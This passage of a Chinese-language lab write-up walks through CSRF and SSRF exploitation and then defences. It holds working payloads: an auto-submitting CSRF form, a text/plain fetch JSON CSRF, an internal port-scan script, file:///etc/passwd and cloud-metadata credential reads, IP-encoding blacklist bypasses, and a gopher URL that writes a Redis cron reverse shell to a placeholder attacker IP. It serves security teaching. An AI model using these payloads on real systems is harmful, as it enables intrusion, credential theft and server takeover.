valuehacker / input typehidden namephone value66666666666 / input typehidden nameprovince value北京市 / input typehidden namecity value北京市 / input typehidden namedistrict value朝阳区 / input typehidden namedetail value哈哈哈被改掉了 / /form script document.getElementById(csrfForm).submit(); /script /body /html页面加载时自动提交表单如果用户此时已登录目标站点Cookie会自动带上地址就会被篡改。我在靶场用两个浏览器测试一个登录正常账号另一个打开攻击页面请求发送后刷新地址列表发现地址确实被改了CSRF攻击生效。实测中踩过的一个坑是有些浏览器会拦截跨站POST请求的自动提交特别是新版Chrome的SameSite Cookie机制默认会阻止跨站请求携带Cookie。我在测试时用浏览器直接打开本地PoC文件请求被浏览器拦截了。解决方案有两种一是配置靶场环境使用HTTP协议且不启用SameSite属性二是改用Burp Suite自带的CSRF PoC生成功能直接生成HTML并在浏览器中打开。靶场的这个接口没有设置SameSite属性所以攻击正常生效。但如果在实战环境中遇到先查看Set-Cookie响应头里有没有SameSite字段这是判断CSRF可利用性的第一道关卡。2.2 第二个靶点Referer校验绕过后台管理的“修改系统配置”接口是这个靶场里更有意思的CSRF靶点。抓包发现请求体里有Token字段当初我以为这里没法打CSRF了POST /admin/config/update HTTP/1.1 Host: target.com Cookie: JSESSIONIDxxxxxxxx; admin_tokenabc123 Referer: http://target.com/admin/config Content-Type: application/x-www-form-urlencoded Content-Length: 108 site_nametestsite_deschellocsrf_token8f5a2b9c1e3d4f6a7b8c9d0e1f2a3b4c请求体里确实带了csrf_token。但仔细分析后发现这个Token的校验只在服务端对修改后的配置回显时需要对提交本身并不做强校验。我尝试把Token字段删掉再提交发现请求仍然成功。这说明服务端并没有严格验证Token的有效性Token只是前端页面的一个装饰。更有意思的是Referer校验。靶场服务端代码逻辑是这样的先检查Referer头是否存在如果存在就提取Referer中的域名部分判断是否包含目标域名如果不存在Referer则直接放行。这是一种看起来很安全但实际有漏洞的校验方式。绕过方法有两种。第一种是构造一个Referer为空或Referer值不存在的请求环境比如某些旧版本浏览器或某些特殊的跳转场景。第二种更实用在恶意页面的域名里伪造包含目标域名的Referer例如攻击者控制的域名可以注册为“target.com.evil.com”这样Referer提取出的域名就会包含“target.com”。实际测试时我用Burp Suite直接修改请求包把Referer头删掉后提交后台配置成功被修改。后来我专门写了一个带有隐藏Referer逻辑的页面来模拟第二种情况页面放在攻击者服务器上通过meta标签或JavaScript控制Referer值再配合URL路径伪装也能骗过服务端的简单包含校验。绕过的核心逻辑是服务端校验Referer时必须做精确匹配比如“Uri.getHost().equals”方式而不是用“contains”方式。靶场用的就是contains包含校验所以利用空间很大。2.3 从受害者视角理解CSRF的触发条件站在攻击者角度CSRF利用最核心的条件是受害者必须在目标站点处于登录状态且会话Cookie还活着。所以在实际渗透测试中我会先测试目标站点有没有“记住我”功能有没有较长的会话超时时间这些都会提高CSRF攻击的成功率。另一个值得关注的场景是JSON型CSRF。现在很多应用改用JSON格式传输数据传统的表单提交方式没法直接触发这种接口。但浏览器存在一个特性JavaScript可以以text/plain类型发送JSON数据这种跨域请求不会触发预检所以一样存在CSRF风险。我用靶场额外验证了这一点构造一段JavaScript代码以text/plain方式POST一个JSON数据到接口fetch(http://target.com/api/user/update, { method: POST, credentials: include, headers: { Content-Type: text/plain }, body: JSON.stringify({nickname: pwned}) });在不修改Content-Type的情况下这确实绕过了服务端对JSON请求的CSRF防护。后来我看了一些资料才知道这是因为CORS预检机制对text/plain不触发OPTIONS预检请求。这个细节在日常测试中很容易被忽略但在实战里很有用。2.4 CSRF防御标准参考结合靶场经验来梳理CSRF防御的层次。目前行业公认的有效方案主要有三类CSRF Token、SameSite Cookie、二重验证。CSRF Token的正确实现需要满足三个条件Token必须与用户会话强绑定每次提交后校验Token必须同时放在请求体和自定义头里因为自定义头本身会触发CORS预检Token必须是高熵随机值不能是简单的可预测字符串。SameSite Cookie是浏览器层面的防护设置SameSiteLax可以阻止跨站POST请求携带CookieSameSiteStrict则更加严格。这个方案的优点是无需服务端改动缺点是老版本浏览器不兼容且对同站子域名的请求不设防。二重验证指的是关键操作要求用户重新输入密码或验证码。这种方案对用户体验有影响一般只用在修改密码、绑定手机号等高危操作场景。在实际开发中我推荐主流程用Token高危操作叠加二重验证同时把Cookie的SameSite属性设置为Lax。3. SSRF靶场实操与关键细节3.1 第一个靶点URL头像抓取功能用户中心的头像上传支持“URL设置头像”。这个功能接收一个图片URL服务端下载图片并保存到本地。靶场对该参数做了后缀校验只允许jpg、png、gif结尾的URL。但实际上这个校验很好绕过URL可以带参数参数部分可以任意控制。比如我提交这样一个URLGET /user/avatar/fetch?urlhttp://192.168.1.100:8080/admin.php?filename1.jpg服务端发现URL以“.jpg”结尾就放行了但实际请求被转发到了内网192.168.1.100:8080的某个服务上。后缀校验只看URL的整体结尾忽略了查询参数部分。我首先用这个功能做了内网存活探测。通过观察请求响应时间、返回内容长度、错误信息差异来判断端口是否开放。靶场里我写了一个脚本循环探测内网网段import requests import time url http://target.com/user/avatar/fetch ports [80, 443, 3306, 6379, 8080, 8888, 9200, 11211] for port in ports: start time.time() params {url: fhttp://192.168.1.100:{port}/} r requests.get(url, paramsparams, timeout10) elapsed time.time() - start print(fPort {port}: status{r.status_code}, length{len(r.content)}, time{elapsed:.2f}s)响应时间是最有效的判断依据开放端口响应极快通常100毫秒以内关闭端口会等待超时或连接拒绝。页面的报错信息也有差异开放端口会返回“图片下载失败”且带着具体响应内容片段关闭端口会直接超时。3.2 利用file协议读取内网文件图片抓取功能接收的URL参数实际上被服务端代码中的HTTP库发起了请求。但问题出在这个库对协议支持很广泛我用file协议尝试了本地文件读取GET /user/avatar/fetch?urlfile:///etc/passwd请求发出去后服务端尝试把/etc/passwd当图片保存因为内容不是合法图片格式保存失败。但请求包含文件内容的响应片段会出现在错误提示中。我利用这个方法成功读取了靶机上的/etc/passwd文件、/webapp/config/db.properties数据库配置文件以及Redis配置文件的片段。这个案例的解释很直观很多服务端的HTTP类库同时支持HTTP、HTTPS、FILE等协议。开发者默认只想到了HTTP场景没有限制协议白名单于是file协议就成了突破口。还有一个冷门但高价值的协议是dict协议可以探测内网Redis端口并直接发送命令。不过不同语言实现的HTTP库支持的协议范围不同Java的HttpClient不直接支持dict需要用gopher协议替代。3.3 第二个靶点URL健康检查功能后台的站点监控功能面向管理员开放可以添加一个URL然后服务端会定时去GET这个地址检查是否存活。这个功能本质上和图片抓取一样也是服务端发起HTTP请求但区别在于这是后台功能只有管理员可以操作。这里就体现出了SSRF和CSRF联动的价值。我用前面的CSRF漏洞伪造管理员请求往站点监控里添加指向内网地址的监控任务实现了“借管理员的权限打内网”。这种方式最大的优势是由管理员会话发起的内网请求在日志审计里看起来完全正常不容易触发告警。健康检查功能返回的信息更丰富服务端会把请求的响应状态码、响应时间、页面标题等完整记录在监控列表里。这比图片抓取功能的信息泄露更严重因为等于给攻击者提供了一个内网网页浏览工具。我用这个功能对内网的MySQL数据库192.168.1.200:3306做了探测。提交URL为http://192.168.1.200:3306/test虽然请求以HTTP协议访问MySQL端口协议不通但响应时间的变化暴露了端口状态。真实测试中更常用的方式是结合旁路知识直接访问内网其他服务。比如我先通过CSRF让管理员添加了一个指向内网某个未授权服务页面的监控URL健康检查结果直接把内网网页内容的内容长度、标题都展示了出来这就等于获得了一个“内网网页内容读取器”。3.4 gopher协议扩展攻击面靶场模拟的内网里有一台未授权访问的Redis服务192.168.1.210:6379。如果只是访问Redis端口本身信息有限。真正的价值在于利用gopher协议向Redis发送任意命令。Java环境里重启服务后开发者换了一个底层网络库这次支持gopher协议。我用gopher构造了向Redis写入计划任务的命令链gopher://192.168.1.210:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$16%0d%0acron_cmd_xx%0d%0a$58%0d%0a%0a%0a*/1 * * * * bash -i /dev/tcp/攻击者IP/6666 01%0a%0a%0a%0d%0a*1%0d%0a$4%0d%0asave%0d%0a整个gopher URL的核心是把原始Redis命令按CRLF分割后用URL编码传输。注意点有两个一是命令之后要追加空行Redis在解析crontab内容时需要空行作为条目分隔符二是flushall命令会清空Redis所有数据实战中不要做这一步直接set即可否则容易搞崩生产环境。我自己在靶场里做的时候出现了一个问题第一次用flushall清空了Redis数据导致靶场的会话缓存全部丢失整个系统报错。幸好是靶场环境重置一下就行。如果是在授权渗透测试中这一步属于高风险操作必须提前确认Redis数据的业务性质宁可放弃利用也要避免造成业务故障。gopher协议利用的关键门槛在于构造请求时需要用URL编码精确控制换行符。我调试了很久才搞明白格式这个过程中踩的坑会在后面详细展开。3.5 云上元数据服务探测SSRF最有杀伤力的一个场景是探测云环境里的元数据服务。很多云厂商提供了内网元数据API在云服务器上访问一个固定内网IP就能获取当前服务器的临时凭据、实例信息、内部配置等。常规环境里这个IP是169.254.169.254。在靶场里我也模拟了这个场景使用健康检查功能访问元数据地址http://169.254.169.254/latest/meta-data/靶场返回了模拟的实例ID、主机名、内网IP等信息。再尝试访问更敏感路径http://169.254.169.254/latest/meta-data/iam/security-credentials/这一步如果拿到临时凭据就可以在外部调用云API接口管理资源相当于直接接管了这台云服务器的云上权限。虽然靶场模拟的是假数据但流程是真实可信的。针对这种利用方式的防御方案在云厂商侧已经做了更新用IMDSv2机制强制要求PUT请求获取Token后才能访问元数据。安全测试时遇到旧版本元数据服务还能直接打新版本就需要额外绕过。3.6 SSRF防御方案对比结合靶场踩坑经验SSRF防御不是简单封一个IP就够了。正确的方式是分层防御第一层URL解析时判定协议白名单只允许http和https。第二层DNS解析结果校验禁止内网IP段、链路本地地址段、广播地址等特殊地址。第三层重定向跟随限制。很多SSRF绕过利用的就是重定向服务端校验了初始URL合法但30x跳转到内网地址。网络库默认跟随30x重定向校验就失效了。第四层Web应用防火墙的URL参数检测识别内外网地址混淆等攻击特征。靶场在模拟绕过时也体现了这些防御的局限性如果服务端把IP校验写死为“禁止192.168.0.0/16”但目标内网实际用了172.16.0.0/12网段防御就失效了。还有一个经典绕过姿势是利用DNS重绑定让服务端第一次解析为公网地址通过校验第二次解析为内网地址请求目标。DNS重绑定的原理是攻击者控制一个域名设置极短的TTL让DNS记录在公网IP和内网IP之间来回切换。服务端先解析域名做校验拿到的是公网IP通过紧接着发起实际请求时再次解析拿到的是内网IP。两个解析结果不同校验也就成空摆设了。现在很多成熟的网络库会在建立连接时做IP校验或者直接禁用重定向跟随这种绕过方式才收到限制。4. 靶场综合演练CSRF与SSRF的联动利用4.1 完整攻击链设计靶场把这些漏洞埋在一起真正的挑战是把整条链串起来。我梳理出来的攻击链是这样的第一步利用SSRF的图片抓取功能探测内网拓扑找到后台数据库地址和管理规则。这一步拿到了足够的内网信息存在192.168.1.0/24网段开放了3306端口运行MySQL开放了6379端口运行Redis且Redis未授权访问。第二步利用CSRF漏洞让管理员修改配置把站点监控功能添加攻击者控制的恶意URL。这一步就相当于在内网监控任务里种了一个反向通道。或者直接在健康检查功能里提交指向Redis的命令URL实现内网写文件。第三步利用gopher协议向Redis写计划任务拿到服务器权限。第四步验证利用SSRF直接读配置文件的敏感信息配合拿到的数据库凭据后续可以做数据提取。这条链路的完整逻辑是外网普通用户权限 → 内网探测 → 服务端命令执行 → 服务器控制权。每一步之间靠漏洞关联SSRF提供出网和内网探测能力CSRF借管理员权限gopher提供命令通道。4.2 绕过URL关键字的七种姿势靶场的第一个SSRF漏洞在服务端加了一层关键字黑名单过滤过滤了“127.0.0.1”、“192.168”、“169.254”、“localhost”等关键字。我当时整理了一份完整的绕过清单全都逐一在靶场里验证过IPv6地址绕过http://[::1]/这种形式可以直接绕过IPv4的黑名单匹配。靶场服务端在解析URL时没有对IPv6做限制直接请求到了本机。短网址/十进制IP绕过http://2130706433/这是127.0.0.1的十进制表现形式。有些解析器不识别这种格式但底层网络库能正确解析。十六进制/八进制混合编码绕过http://0x7f000001/对应127.0.0.1http://017700000001/是八进制写法。这类绕过的前提是服务端做了字符串匹配但未做归一化解析而底层的网络请求库却能理解各种进制的IP表示。双写/大小写混合绕过如果你提交“LoCaLhOsT”会被黑名单命中可以试试把域名拆解为“localtest.me”这类能解析到127.0.0.1的公网域名或者用“spoofed.burpcollaborator.net”这类DNS重绑定工具。URL编码绕过使用https://victim.com真实内网IP这是一种利用URL解析差异的方式开发者以为请求的是victim.com实际网络请求去的是后面的IP。很多编程语言里前面的内容会被当成用户信息而忽略。重定向绕过攻击者服务器上放一个302跳转初始URL是公网合法地址通过校验后跳到内网地址。这种方案几乎无法从代码层面完全防护除非显式禁止重定向或对重定向目标再次做校验。利用DNS解析记录绕过自己的域名设置A记录为内网IP。校验通过后DNS解析拿到的是内网地址但黑名单匹配的是域名本身不匹配内网IP特征。这些绕过方式在靶场里我逐一测试过成功率最高的是IPv6和重定向两种其次是通过外部跳转域名。关键过滤器对所有方案的拦截能力都非常有限几乎覆盖不了所有变体。4.3 联动利用的时序控制与细节CSRF借管理员操作和SSRF探测内网的结合时序控制非常重要。如果先打CSRF让管理员添加监控任务再回调SSRF去拿监控结果需要等一轮健康检查周期。靶场的检查周期是60秒一次实际上等一轮再到下一轮发起数据请求效率有点低。我当时用的方案是直接把健康检查的URL设置为一个带内网地址的图片链接然后再用普通用户身份访问SSRF的图片抓取接口对同样的内网地址发起探测。两条漏洞平行推进CSRF用于内网管理面的授权操作SSRF用于安全检测和payload注入。最后在Redis写入完成后我通过CSRF修改后台配置将管理员的账号密码改成攻击者可控值完成了从扫描到控制再到持久化的闭环。在时序控制上还要注意Cookie有效期的衔接。CSRF触发后管理员的会话Cookie仍然有效但如果长时间不操作导致会话超时后续的部署计划会失败。最好在脚本里设置会话心跳机制定期访问后台页面保持会话活跃。4.4 防御视角下的完整复盘做完这三轮靶场演练以后我再以防御视角复盘整条攻击链发现如果靶场侧做了以下几件防御改进这套组合拳的大部分环节会被拆掉服务端出网统一收敛所有需要访问外部URL的功能统一走固定的代理网关代理网关做域名白名单和IP段检测。这招能在最底层挡住SSRF绝大多数的内网探测。核心管理接口单独会话管理后台管理接口使用独立的管理员Session与普通用户Session隔离并且设置单独的管理员IP访问控制。CSRF即使借到了浏览器Cookie但由于请求来源IP不符合管理员访问控制的限制接口直接拒绝。出站流量检测在内网边界部署流量分析对访问内网数据库、Redis等端口的行为做异常检测。只要出现HTTP访问数据库端口这类明显协议不匹配的内网探测行为立即截断并告警。计划任务写文件的排查定期检查服务器上的计划任务列表、启动项、SSH授权文件及时发现异常写入的痕迹。这套防御在成本可控的前提下显著提升了攻击者的成本。安全建设的目标不是做到100%不可攻破而是把90%的脚本小子挡在门外让有能力的攻击者也需要付出极高代价。5. 常见问题与排查技巧实录5.1 CSRF测试中的常见拦路虎测试CSRF漏洞时最常遇到的问题就是请求发不出去或者发了没效果。我总结了四个高频问题Cookie的SameSite属性导致请求不携带Cookie。这个问题在现代浏览器中非常常见建议先用Burp Suite查看目标站点的Set-Cookie属性确认没有SameSite字段或设置为None再构造PoC。如果设置了Lax那就需要改用GET型CSRF或寻找同站JSONP接口作为跳板。表单跨域提交遇到CORS拦截。传统表单提交的application/x-www-form-urlencoded格式不会触发CORS预检但如果目标接口要求JSON格式就需要用fetch设置text/plain方式绕过预检。注意Credentials必须设置为include。服务端验证Token但前端页面没有带Token。这种情况就要翻一下前端JS代码找到Token的生成逻辑。有时候Token会放在Cookie里那CSRF照样可以打因为攻击请求会自动带上Cookie里的Token。有时候Token放在DOM节点中那就要配合XSS或者想办法诱导用户先访问一个特定页面再触发CSRF。Referer校验严格时页面跳转导致Referer丢失。某些场景可以利用meta refresh跳转加上window.location组合让浏览器发出请求时Referer被清空或只保留域名。实战中更多靠Burp抓包手动修改Referer来测试服务端的校验强度。5.2 SSRF测试中的常见拦路虎SSRF测试比CSRF更容易在细节上翻车我自己踩过这些坑URL编码导致内网地址解析失败。用gopher协议构造Redis命令时命令里的空格要用%20编码换行符要用%0d%0a。如果编码不完整Redis解析命令就会失败。我这里在调试时反复核对编码格式最后用一个本地Python脚本做编码转换才算稳定。DNS解析缓存导致重绑定绕过失效。如果配置的域名TTL太长DNS缓存会让同一个IP在有效期内保持稳定重绑定就无法生效。实战中必须用专门工具提供的DNS服务通过随机返回多个IP的策略实现绕过。服务端限速导致探测速度极慢。很多正经系统现在会对内网探测的异常响应做限速或连接数限制。批量扫描内网端口的时候要注意控制线程数量每次延迟200毫秒左右再探测下一个避免触发目标系统的封禁策略。Java网络库默认忽略HTTPS证书错误。这个特性在过滤防范上有帮助因为探测时不会被证书错误阻断但在真实探测中如果目标内网服务做了正确的TLS配置响应速度差异就变得很不明显影响判断。线程安全问题。批量探测时如果用多线程共享一个HTTP会话容易出现请求串号导致探测结果错乱。我最后采用的是线程本地存储会话每条线程独立维持连接不会再出现串号问题。5.3 靶场调试的三板斧回到实际操作层面在靶场里调试CSRF和SSRF时我有一套固定的排查流程分享出来供参考**第一板斧抓包确认请求原貌。**用Burp Suite拦截目标请求完整记录请求行、Headers、请求体分析是否带Token、Referer、自定义头等关键属性。把原始请求保存下来后续构造PoC时以此为模板能减少因请求格式不符导致的失败。**第二板斧分层测试变量隔离。**修改一个变量测试一次不要同时改动URL、协议、编码、Cookie等多个参数。比如先用HTTP协议访问内网地址确认连通性再换gopher协议确认协议支持最后再对gopher的编码格式做调试。这样出问题能快速定位到哪一层。**第三板斧善用时间差和报错差异确认漏洞状态。**开放端口和关闭端口在响应时间上有明显差距这是内网存活探测最可靠的信号。报错信息的内容差异也有价值很多服务端会把连接异常和超时分别提示可以通过观察提示文案判断目标端口的协议状态。这三板斧几乎能解决CSRF和SSRF调试中90%的问题。剩下的10%属于环境本身的代码缺陷或业务逻辑陷阱遇到就直接看网络层日志和端口状态比盲目猜测要高效得多。5.4 一个容易被忽视的细节Cookie路径的坑CSRF利用中还有一个容易被忽视的坑Cookie的Path属性。靶场里后台管理的Cookie Path默认是“/admin”而CSRF的PoC页面直接提交到“/admin/config/update”正常情况下是可以携带的。但如果是换了一种PoC方式比如通过某个公开的HTML上传点去触发CSRFHTML文件地址在“/public/upload/xxx.html”下面而这个路径的Cookie Path限制了“/public”那么请求到达“/admin/config/update”时就不会携带后台的会话Cookie。这类问题排查时有点隐蔽原因也很简单。靶场Cookie设置里默认Path为“/”没遇到这个问题但换到我之前做过的另一个授权系统时目标把Path设置成了“/admin/”导致CSRF测试一直没有成功。之后我把Cookie Path调成了“/”CSRF立刻生效。遇到这种情况的正确做法是在实际CSRF测试前先把目标站点的Cookie信息完整整理一遍记录Name、Domain、Path、SameSite等关键属性确认目标接口在Cookie覆盖范围内再决定构造方案。5.5 关于防护代码的具体配置最后分享一份可以直接参考的后端防护配置片段以Java Servlet为例描述思路// CSRF防护校验Token是否存在于Session中并与请求体一致 public boolean checkCsrfToken(HttpServletRequest request) { String sessionToken (String) request.getSession().getAttribute(csrf_token); String requestToken request.getParameter(csrf_token); if (sessionToken null || requestToken null) { return false; } return sessionToken.equals(requestToken); } // SSRF防护解析URL并做三步校验 public boolean checkSSRF(String url) { URL u new URL(url); String protocol u.getProtocol(); if (!protocol.startsWith(http)) { return false; // 第一步协议白名单 } String host u.getHost(); InetAddress addr InetAddress.getByName(host); if (addr.isSiteLocalAddress() || addr.isLoopbackAddress() || addr.isLinkLocalAddress()) { return false; // 第二步本地/内网/链路本地地址拒绝 } return true; // 第三步配合网关侧的域名白名单与重定向限制 }这里有一个容易被忽略的点代码中如果只在第一步做了校验没有处理重定向跳转那攻击者通过302跳转就能绕过。正确的做法是修改网络库的配置显式禁用自动重定向或者对每个跳转步骤重新做一次SSRF校验。反序列化类漏洞和SSRF经常配合使用不少真实漏洞的组合拳也是这条链路SSRF先探测内网中间件端口再通过gopher协议构造恶意请求打进内网最后结合未授权访问或命令执行拿下服务器。由此可见SSRF防御不能只在应用层做网络层也要配合好。6. 写在最后的经验与建议这三轮靶场打下来我对CSRF和SSRF的理解比之前翻了好几倍。最大的感触是漏洞之间是互相成就的孤立地看单个漏洞很可能觉得“就这没什么大不了”一旦把多个漏洞串成链杀伤力才会真正显现出来。我个人建议的学习路径是这样的先把CSRF和SSRF各自的原理吃透不要急着打靶场先会用Burp Suite抓包看请求和响应然后在靶场里逐个漏洞做利用每一种绕过手法都亲自试一遍试的时候注意记录成功和失败的条件最后再把多个漏洞串起来做完整攻击链演练这时候才是真正的综合能力提升。另外一个小建议打靶场的时候养成记录的习惯。我每做一个靶点都截图、写笔记把请求包、PoC代码、响应结果都保存下来。后续复盘的时候这些记录比记忆可靠得多。而且面试或写文章的时候这些一手资料就是最好的素材。如果你正在学习Web安全建议给自己定一个目标在一个靶场里能独立完成至少一条完整的攻击链。完成这个目标的时候你对Web应用的理解大概率会有一个质的飞跃。这比我学安全头三个月到处刷视频却什么都不动手的效果好了不止一倍。